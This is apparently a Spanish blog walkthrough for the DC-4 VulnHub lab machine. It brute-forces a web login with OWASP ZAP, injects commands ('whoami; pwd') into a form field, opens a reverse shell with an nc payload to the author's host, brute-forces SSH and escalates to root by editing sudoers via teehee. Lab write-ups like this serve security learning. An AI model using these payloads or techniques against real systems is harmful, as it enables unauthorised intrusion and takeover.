Buenas, en esta entrada voy a escribir una guía sobre como vulnerar y conseguir acceso root a la siguiente máquina virtual: https://www.vulnhub.com/entry/dc-4,313.
¿Cómo preparar el laboratorio?
Lo primero que debemos hacer es descargar el archivo .ova del enlace anterior. Desde Oracle VirtualMachineBox importamos este archivo para añadir la máquina virtual a nuestra colección. En mi caso he configurado la red como adaptador puente, para que la máquina tenga una ip propia en nuestra red, como si de cualquier otro usuario se tratase.
Empecemos
El primer paso es encender la máquina virtual, como podemos observar tenemos un login, al cual no podemos acceder, ya que no tenemos usuario y contraseña, aún.
Para conocer la dirección IP de esta máquina voy a realizar un escaneo de mi red con la herramienta netdiscover.
El siguiente paso será realizar un escaneo con la heramienta nmapa la IP 192.168.1.135.
Vemos los siguientes puertos activos:
— SSH puerto 22 — OpenSSH 7.4p1 Debian 10
— HTTP puerto 80 — httpnginx 1.15.10
Naveguemos a su dirección IP desde cualquier navegador, nos encontraremos este login web.
Lo primero que vamos a hacer, será configurar el proxy del programa OWASP ZAP.
Intentando loguearnos el programa captura las peticiones y respuestas al servidor.
OWASP ZAP nos permite hacer fuzzing a este login con payloads personalizados, en mi caso, voy a utilizar el mítico rockyou.txt de Kali.
Acabamos de sacar que la password de admin es happy, usemos estas credenciales para loguearnos en el anterior login.
Una vez dentro podemos observar como la web nos dá diferentes opciones para sacar información del sistema.
En concreto, podemos listar archivos, ver el uso del disco y la memoria libre que queda en el sistema objetivo.
Veamos las peticiones que se generan con ZAP.
Intentemos modificar el valor de radio como hicimos antes con la password.
Por ejemplo: whoami; pwd, para saber quienes somos y donde estamos.
Vemos como la respuesta del servidor es que somos www-data y que estamos en /usr/share/nginx/html.
Probemos a intentar crear una shell reversa dejando un puerto a la escucha en nuestro equipo.
Usaremos el payload: nc+192.168.1.39+5555+-e+/bin/bash para crear una shell bash reversa a nuestro puerto a la escucha.
Bien, el siguiente paso será intentar elevar privilegios y conseguir convertirnos en root del sistema.
Guardemos estas contraseñas en un archivo de texto.
Probemos por fuerza bruta estas contraseñas para jim en el protocolo SSH.
Ya tenemos credenciales, jim::jibril04, utilicemolas con SSH.
Mirando el directorio /var/mail vemos que jim tiene un mensaje.
Vaya, Charles nos ha dado su contraseña… Gracias!!.
Con teehee podemos editar el archivo sudoers para dar permisos root a Charles.
¡¡¡HACKED!!!
Pablo.